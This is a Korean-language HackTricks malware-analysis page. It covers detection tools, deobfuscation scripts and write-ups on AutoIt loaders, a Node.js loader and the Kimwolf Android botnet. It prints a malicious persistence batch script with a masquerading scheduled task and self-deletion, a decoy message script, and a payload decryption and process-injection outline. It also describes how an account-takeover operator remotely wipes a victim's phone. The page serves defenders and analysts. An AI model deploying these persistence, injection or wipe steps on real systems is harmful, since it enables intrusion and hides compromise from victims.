악성코드 분석

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

포렌식 치트시트

https://www.jaiminton.com/cheatsheet/DFIR/#

온라인 서비스

오프라인 안티바이러스 및 탐지 도구

Yara

설치

sudo apt-get install -y yara

규칙 준비

이 스크립트를 사용하여 github에서 모든 yara malware 규칙을 다운로드하고 병합하세요: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\
rules 디렉터리를 생성하고 스크립트를 실행하세요. 그러면 모든 yara 규칙을 포함한 malware_rules.yar 파일이 생성됩니다.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: malware 검사 및 yara rules 생성

이 도구 YaraGen를 사용하여 바이너리에서 yara rules를 생성할 수 있습니다. 다음 튜토리얼을 확인하세요: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

설치

sudo apt-get install -y clamav

스캔

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa는 실행 파일(PE, ELF, .NET)에서 잠재적으로 악성일 수 있는 기능을 탐지합니다. 따라서 Att&ck tactics와 같은 항목이나 다음과 같은 의심스러운 기능들을 찾습니다:

  • OutputDebugString 오류 확인
  • 서비스로 실행
  • 프로세스 생성

다운로드: Github repo.

IOCs

IOC는 Indicator Of Compromise의 약자입니다. IOC는 잠재적으로 원치 않는 소프트웨어나 확정된 malware를 식별하는 조건들의 집합입니다. Blue Teams는 이러한 정의를 사용해 자신들의 systemsnetworks에서 이러한 유형의 악성 파일을 찾아냅니다.
이러한 정의를 공유하는 것은 매우 유용합니다. 한 컴퓨터에서 malware가 식별되어 그 malware에 대한 IOC가 작성되면, 다른 Blue Teams가 이를 사용해 malware를 더 빠르게 식별할 수 있습니다.

IOC를 생성하거나 수정하는 도구로는 IOC Editor가 있습니다.
또한 Redline과 같은 도구를 사용해 장치에서 정의된 IOC를 검색할 수 있습니다.

Loki

Loki 는 Simple Indicators of Compromise용 스캐너입니다.
탐지는 네 가지 탐지 방법에 기반합니다:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD)은 GNU GPLv2 라이선스로 배포되는 Linux용 malware 스캐너로, 공유 호스팅 환경에서 직면하는 위협을 중심으로 설계되었습니다. 이는 네트워크 에지 침입 탐지 시스템으로부터의 위협 데이터를 사용해 공격에 실제로 사용되는 malware를 추출하고 탐지를 위한 시그니처를 생성합니다. 또한 위협 데이터는 LMD의 checkout 기능을 통한 사용자 제출과 malware 커뮤니티 리소스에서도 파생됩니다.

rkhunter

rkhunter 같은 도구는 파일 시스템에서 가능한 rootkits 및 malware를 검사하는 데 사용할 수 있습니다.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS 는 다양한 기법을 사용해 실행 파일 내부의 obfuscated 문자열을 찾아내려고 시도하는 도구입니다.

PEpper

PEpper 는 실행 파일 내부의 기본 항목들(바이너리 데이터, entropy, URLs 및 IPs, 일부 yara 규칙 등)을 검사합니다.

PEstudio

PEstudio 는 imports, exports, headers와 같은 Windows 실행 파일 정보를 확인할 수 있게 해주며, 또한 virus total을 조회하고 잠재적인 Att&ck 기술들을 찾아냅니다.

Detect It Easy(DiE)

DiE 는 파일이 encrypted인지 감지하고 packers를 찾아내는 도구입니다.

NeoPI

NeoPI 는 다양한 statistical methods를 사용해 텍스트/스크립트 파일 내의 obfuscatedencrypted 콘텐츠를 탐지하는 Python 스크립트입니다. NeoPI의 목적은 detection of hidden web shell code를 지원하는 것입니다.

php-malware-finder

PHP-malware-finderobfuscated/dodgy code뿐만 아니라 자주 malwares/webshells에서 사용되는 PHP 함수들을 사용하는 파일들도 탐지하려고 최선을 다합니다.

Apple Binary Signatures

어떤 malware sample을 확인할 때에는, 서명한 developer가 이미 related되어 있을 수 있으므로 바이너리의 check the signature를 항상 수행해야 합니다.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

탐지 기법

File Stacking

웹 서버의 files를 포함하는 어떤 폴더가 last updated on some date였다는 것을 알고 있다면, 웹 서버의 모든 files의 생성 및 수정 dateCheck하고 어떤 날짜가 suspicious하면 해당 파일을 확인하라.

Baselines

폴더의 파일들이 shouldn’t have been modified 경우, 폴더의 original fileshash를 계산하여 current 파일들과 compare할 수 있다. 변경된 항목은 suspicious하다.

Statistical Analysis

로그에 정보가 저장되어 있다면 check statistics like how many times each file of a web server was accessed as a web shell might be one of the most.


Android 인앱 네이티브 텔레메트리 (no root)

On Android, 대상 앱 프로세스 내부의 native 코드를 다른 JNI libs가 초기화되기 전에 작은 로거 라이브러리를 preload함으로써 계측할 수 있다. 이렇게 하면 시스템 전체 훅이나 root 없이도 네이티브 동작을 조기에 관찰할 수 있다. 많이 사용되는 방법은 SoTap: 올바른 ABI용 libsotap.so를 APK에 넣고 초기에 System.loadLibrary(“sotap”) 호출을 주입(예: static initializer나 Application.onCreate)한 다음 내부/외부 경로나 Logcat fallback에서 로그를 수집하는 것이다.

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

일부 Android 악성코드와 RASP로 보호된 앱은 RegisterNatives를 호출하기 전에 런타임에 JNI 메서드 이름과 시그니처를 디코딩하여 숨긴다. Frida/ptrace 계측이 anti-debug에 의해 차단될 때에도, angr로 바이너리 내 디코더를 실행하여 오프라인에서 평문을 복구한 뒤 결과를 Ghidra의 주석으로 반영할 수 있다.

핵심 아이디어: .so 내부의 디코더를 호출 가능한 함수로 취급하고 .rodata의 난독화된 바이트 블롭에 대해 이를 실행한 다음 출력 바이트를 첫 번째 \x00 (C-string terminator)까지 구체화(concretize)한다. 주소 불일치를 피하려면 angr와 Ghidra가 동일한 image base를 사용하도록 유지하라.

Workflow overview

  • Ghidra에서 트리아지: JNI_OnLoad 및 RegisterNatives 설정에서 디코더와 그 호출 규약/인수 확인.
  • angr(CPython3) 실행: 각 대상 문자열에 대해 디코더를 실행하고 결과 덤프.
  • Ghidra에 주석 달기: 빠른 JNI 복원을 위해 각 호출 지점에 디코딩된 문자열을 자동 주석으로 추가.

Ghidra 트리아지 (JNI_OnLoad pattern)

  • JNI_OnLoad에 JNI datatypes를 적용하여 Ghidra가 JNINativeMethod 구조체를 인식하도록 한다.
  • Oracle 문서에 따른 전형적인 JNINativeMethod:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • RegisterNatives 호출을 찾아라. 라이브러리가 로컬 루틴(예: FUN_00100e10)을 사용해 name/signature를 구성하고 정적 바이트 테이블(예: DAT_00100bf4)을 참조하며 (encoded_ptr, out_buf, length) 같은 인수를 받는다면, 그것은 오프라인 실행의 이상적인 대상이다.

angr 설정 (디코더 오프라인 실행)

  • Ghidra에서 사용한 것과 동일한 base(예: 0x00100000)로 .so를 로드하고 상태를 작게 유지하기 위해 외부 libs의 자동 로딩을 비활성화하라.
angr 설정 및 오프라인 디코더 실행 ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- 대규모로는 call sites를 decoder의 인수 (encoded_ptr, size)로 정적 매핑하세요. Wrappers가 인수를 숨길 수 있으므로 API recovery가 불안정하면 Ghidra xrefs에서 수동으로 이 매핑을 작성할 수 있습니다.

<details>
<summary>angr로 여러 call sites를 일괄 디코딩</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Ghidra에서 call sites 주석 달기 Option A: Jython-only comment writer (사전 생성된 JSON 사용)

  • angr가 CPython3를 필요로 하므로, deobfuscation과 annotation을 분리하세요. 먼저 위의 angr 스크립트를 실행하여 decoded_strings.json을 생성하세요. 그런 다음 이 Jython GhidraScript를 실행하여 각 call site에 PRE_COMMENTs를 작성하고, 문맥을 위해 caller function name을 포함하세요:
decoded JNI strings를 주석 처리하는 Ghidra Jython 스크립트 ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- 대안으로, pyhidra 또는 ghidra_bridge를 사용해 angr를 실행하는 동일한 CPython 프로세스에서 Ghidra의 API를 조작할 수 있습니다. 이렇게 하면 decode_string()을 호출하고 중간 파일 없이 즉시 PRE_COMMENT들을 설정할 수 있습니다. 로직은 Jython 스크립트와 유사합니다: ReferenceManager를 통해 callsite→function 매핑을 구축하고, angr로 디코드한 후 코멘트를 설정합니다.

Why this works and when to use it
- Offline 실행은 RASP/anti-debug를 회피합니다: 문자열 복원을 위해 ptrace나 Frida 훅이 필요 없습니다.
- Ghidra와 angr의 base_addr(예: 0x00100000)를 일치시키면 함수/데이터 주소가 도구 간에 일치합니다.
- 디코더에 대한 반복 가능한 레시피: 변환을 순수 함수로 간주하고, 새 state에 출력 버퍼를 할당한 뒤 (encoded_ptr, out_ptr, len)로 호출하고 state.solver.eval로 구체화한 다음 \x00까지의 C-strings를 파싱합니다.

Notes and pitfalls
- 대상 ABI/calling convention을 준수하세요. angr.factory.callable은 arch에 따라 하나를 선택합니다; 인수가 밀려 보이면 cc를 명시적으로 지정하세요.
- 디코더가 0으로 초기화된 출력 버퍼를 기대하면, 호출 전에 state에서 outbuf를 0으로 초기화하세요.
- position-independent Android .so의 경우, angr에서의 주소가 Ghidra에서 본 주소와 일치하도록 항상 base_addr를 제공하세요.
- 앱이 얇은 스텁 뒤에 디코더를 숨겼더라도 call-xrefs를 열거하려면 currentProgram.getReferenceManager()를 사용하세요.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. 디스패처 바이트코드 추출

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Unicorn으로 두 번 에뮬레이트하기

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

run(code,0,0)run(code,1,1)을 실행하여 falsetrue 분기 대상을 얻습니다.

4. 직접 jump / call을 패치로 복원하기

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

패치한 후 IDA가 함수에 대해 재분석하도록 강제하여 전체 CFG와 Hex-Rays 출력이 복원되도록 합니다:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. 간접 API 호출에 라벨 지정

call rax의 실제 목적지가 확인되면 IDA에 그 목적지를 알려 파라미터 타입 & 변수 이름이 자동으로 복원되도록 할 수 있다:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

실질적 이점

  • 실제 CFG를 복원 → 디컴파일 결과가 10 줄에서 수천 줄로 증가합니다.
  • string-cross-reference & xrefs를 가능하게 하여 동작 재구성이 매우 간단해집니다.
  • 스크립트는 재사용 가능: 동일한 트릭으로 보호된 모든 loader에 넣어 사용 가능합니다.

AutoIt 기반 loaders: .a3x 복호화, Task Scheduler 위장 및 RAT 주입

이 침투 패턴은 서명된 MSI, .a3x로 컴파일된 AutoIt loaders, 그리고 정상 앱으로 위장한 Task Scheduler 작업을 연결합니다.

MSI → custom actions → AutoIt 오케스트레이터

MSI custom actions에 의해 실행되는 프로세스 트리와 명령:

  • MsiExec.exe → cmd.exe가 install.bat를 실행
  • WScript.exe가 미끼용 오류 대화상자를 표시
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (loader 드롭, persistence 설정, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (사용자 미끼):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

주요 아티팩트 및 위장:

  • AutoIt3.exe 및 IoKlTr.au3를 C:\Users\Public\Music에 드롭함
  • schtasks.exe를 hwpviewer.exe로 복사함 (Hangul Word Processor viewer로 위장)
  • 1분마다 실행되는 스케줄된 작업 “IoKlTr“를 생성함
  • 시작 항목 LNK: Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • adb 또는 adv를 포함하는 %APPDATA%\Google\Browser\ 하위폴더에 모듈을 스테이징하고 autoit.vbs/install.bat 헬퍼를 통해 시작함

포렌식 트리아지 팁:

  • schtasks 열거: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Task XML과 동일 위치에 있는 이름 변경된 schtasks.exe 복사본 확인: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • 일반 경로: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, 시작 항목 Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • 프로세스 생성 상관관계: AutoIt3.exe가 정당한 Windows 바이너리(ex: cleanmgr.exe, hncfinder.exe)를 스폰하는지 확인

AutoIt loaders and .a3x payload decryption → injection

  • AutoIt 모듈은 #AutoIt3Wrapper_Outfile_type=a3x로 컴파일되며, 임베디드 payload를 복호화한 후 정상 프로세스에 주입함.
  • 관찰된 패밀리: QuasarRAT (hncfinder.exe에 주입), RftRAT/RFTServer (cleanmgr.exe에 주입), 및 RemcosRAT 모듈 (Remcos\RunBinary.a3x).
  • 복호화 패턴: HMAC로 AES 키를 유도하고, 임베디드 blob을 복호화한 뒤 평문 모듈을 주입함.

일반적인 복호화 골격(정확한 HMAC 입력/알고리즘은 패밀리별로 다름):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

일반적인 인젝션 흐름 (CreateRemoteThread-style):

  • CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
  • CreateRemoteThread or QueueUserAPC to execute payload

Hunting ideas

  • AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
  • Files with .a3x extensions or AutoIt script runners under public/user-writable paths
  • Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers

Account-takeover abuse of Android Find My Device (Find Hub)

Windows 침투 중, 운영자는 도난당한 Google 자격증명을 사용해 피해자의 Android 기기를 반복적으로 초기화하여 알림을 억제하는 한편, 피해자의 로그인된 데스크톱 메신저를 통해 접근을 확장했습니다.

Operator steps (from a logged-in browser session):

  • Google Account → Security → Your devices 확인; Find My Phone → Find Hub (https://www.google.com/android/find)로 이동
  • 디바이스 선택 → Google 비밀번호 재입력 → “Erase device”(공장 초기화) 실행; 복구 지연을 위해 반복
  • 선택 사항: 연결된 메일박스(예: Naver)에 있는 경고 이메일을 삭제해 보안 알림을 숨김

Tracing heavily obfuscated Node.js loaders

공격자는 JavaScript 로더를 standalone Windows 바이너리 내부에 번들로 포함시키는 경우가 늘고 있으며, 이 바이너리는 nexe로 컴파일되어 런타임이 스크립트와 함께 배포됩니다. 결과 PE는 대개 60–90 MB에 달하며 Node.js가 설치되어 있지 않아도 실행됩니다. 트리아지(분석) 중:

  • Use nexe_unpacker to carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing.
  • Expect a disk-based mutex in %TEMP% (GachiLoader drops a random <name>.lock file that expires after ~5 minutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer는 모든 Node.js 프로세스 내부의 핵심 모듈을 후킹하고 안티-VM 프로브를 위조할 수 있게 해주며, 샘플이 쓰는 모든 아티팩트를 보존합니다. 난독화된 스크립트를 tracer를 통해 실행하면 분석가 제어의 계측이 콜 스택에 남습니다:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • 파일시스템, 자식 프로세스, 그리고 HTTP 활동을 기록합니다(LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). kidkadi.node 같은 모든 드롭된 파일은 악성코드가 삭제하기 전에 작업 디렉터리로 복사됩니다.
  • 현실적인 RAM/CPU 수를 반환하고 tasklist 출력을 위조하며 PowerShell/WMI 응답을 변조하여 환경 지문을 조작합니다. 이는 ≥4 GB RAM, ≥2 cores를 요구하고 사용자 이름(mashinesssss, wdagutilityaccount 등), 호스트명(desktop-vrsqlag, server1 …), 프로세스 이름(vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe)을 검사하는 로더를 우회합니다.
  • Get-WmiObject Win32_DiskDrive(예: vmware, kvm, virtio 등 탐지), Win32_VideoController(“VirtualBox Graphics Adapter”, “Hyper-V Video” 등 차단), Win32_PortConnector 카운트 같은 WMI 하드웨어 검사를 무력화합니다. 이러한 프로브가 “실제” 하드웨어를 보고하면 샌드박스는 더 이상 GachiLoader가 분석 시간을 낭비시키기 위해 사용하는 Invoke-WebRequest의 무한 루프(linkedin.com, grok.com, whatsapp.com 등으로의 무해한 호출)에 빠지지 않습니다.

Capturing gated C2 traffic automatically

The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. 각 하드코드된 C2의 /log에 호스트 텔레메트리를 POST합니다.
  2. X-Secret: gachifamily 헤더와 함께 GET /richfamily/<per-sample key>를 호출해 Base64로 인코딩된 payload URL을 가져옵니다.
  3. 긴 per-sample X-Secret 헤더와 함께 해당 URL에 최종 GET을 수행합니다; 헤더가 없으면 403 Forbidden을 반환합니다.

tracer가 완전한 요청(헤더, 바디, 목적지)을 기록하기 때문에 동일한 트래픽을 재생하여 페이로드를 가져오고, 메모리에서 Themida/VMProtect 셸을 덤프하며, 대규모로 Rhadamanthys 구성 데이터를 추출할 수 있습니다.

AdaptixC2: Configuration Extraction and TTPs

전용 페이지를 참조하세요:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • 악성 APK(예: com.n2.systemservice06*)는 res/raw 안에 정적 링크된 ARM ELF(예: R.raw.libniggakernel)를 포함합니다. BOOT_COMPLETED 리시버가 부팅 시 실행되어 raw 리소스를 앱 샌드박스(예: /data/data/<pkg>/niggakernel)로 추출하고 실행 권한을 부여한 뒤 su로 호출합니다.
  • 많은 Android TV 박스/태블릿은 이미 루팅된 이미지나 전역 쓰기 가능한 su를 제공하므로, 로더는 익스플로잇 체인 없이도 신뢰성 있게 UID 0으로 ELF를 부팅합니다. 리시버가 재부팅이나 앱 재시작 후에도 다시 실행되기 때문에 지속성은 사실상 “공짜”로 확보됩니다.
  • 이 패턴을 찾는 리버스 엔지니어는 숨겨진 부트 리시버와 Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su")를 참조하는 코드를 찾기 위해 AndroidManifest.xml을 diff할 수 있습니다. ELF가 드롭되면 Linux userland 백도어로 분류해 트리아지하세요(Kimwolf는 UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • 시작 시 Kimwolf는 @niggaboxv4/@niggaboxv5 같은 abstract UNIX domain socket을 바인드합니다. 기존 소켓이 존재하면 종료하므로 소켓 이름은 mutex와 포렌식 아티팩트 역할을 동시에 합니다.
  • 프로세스 타이틀을 서비스처럼 보이는 이름(netd_services, tv_helper 등)으로 덮어써 Android 프로세스 목록에 섞이게 합니다. 호스트 기반 탐지는 이러한 이름과 mutex 소켓을 결합해 경보를 낼 수 있습니다.

Stack XOR string decoding with ARM NEON + flare_emu

  • 민감한 문자열(C2 도메인, 리졸버, DoT 엔드포인트 등)은 8바이트 블록으로 암호화되어 스택에 푸시되고 VEOR Qx, Qx, Qy(veorq_s64)로 제자리에서 디코드됩니다. 분석가는 flare_emu를 스크립팅해 디크립터가 호출자에게 포인터를 넘길 때마다 복호화된 포인터를 포착할 수 있습니다:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Searching for VEOR Q8, Q8, Q9 / veorq_s64 sequences and emulating their ranges mass-dumps every decrypted string, bypassing the stack-only lifetime of the plaintext.

DNS-over-TLS resolution plus XOR IP derivation

  • All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
  • v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant 0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • Later builds add an ENS domain (pawsatyou.eth) whose resolver text key "lol" stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599).
  • The bot grabs the last four bytes (1b e7 85 99), XORs them with 0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.

TLS + ECDSA authenticated command channel

  • Traffic is encapsulated in wolfSSL with a custom framed protocol:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • 부트스트랩: 봇은 두 개의 빈 MsgType=0 (register) 헤더를 보냅니다. C2는 임의의 챌린지와 ASN.1 DER ECDSA 서명을 포함한 MsgType=1 (verify)로 응답합니다. 봇은 이를 내장된 SubjectPublicKeyInfo blob에 대해 검증합니다; 실패할 경우 세션을 종료하여 hijacked/sinkholed C2 nodes가 tasking the fleet을 수행하지 못하게 합니다.
  • 검증되면, 봇은 운영자가 정의한 MsgType=0 바디에 operator-defined group string (예: android-postboot-rt)을 담아 전송합니다. 그룹이 활성화되어 있으면 C2는 MsgType=2 (confirm)로 응답하고, 그 후 tasking (MsgType 5–12)이 시작됩니다.
  • 지원되는 명령(verbs)에는 SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, 및 Mirai-compatible DDoSBody 페이로드(동일한 AtkType, Duration, Targets[], Flags[] 레이아웃)가 포함됩니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기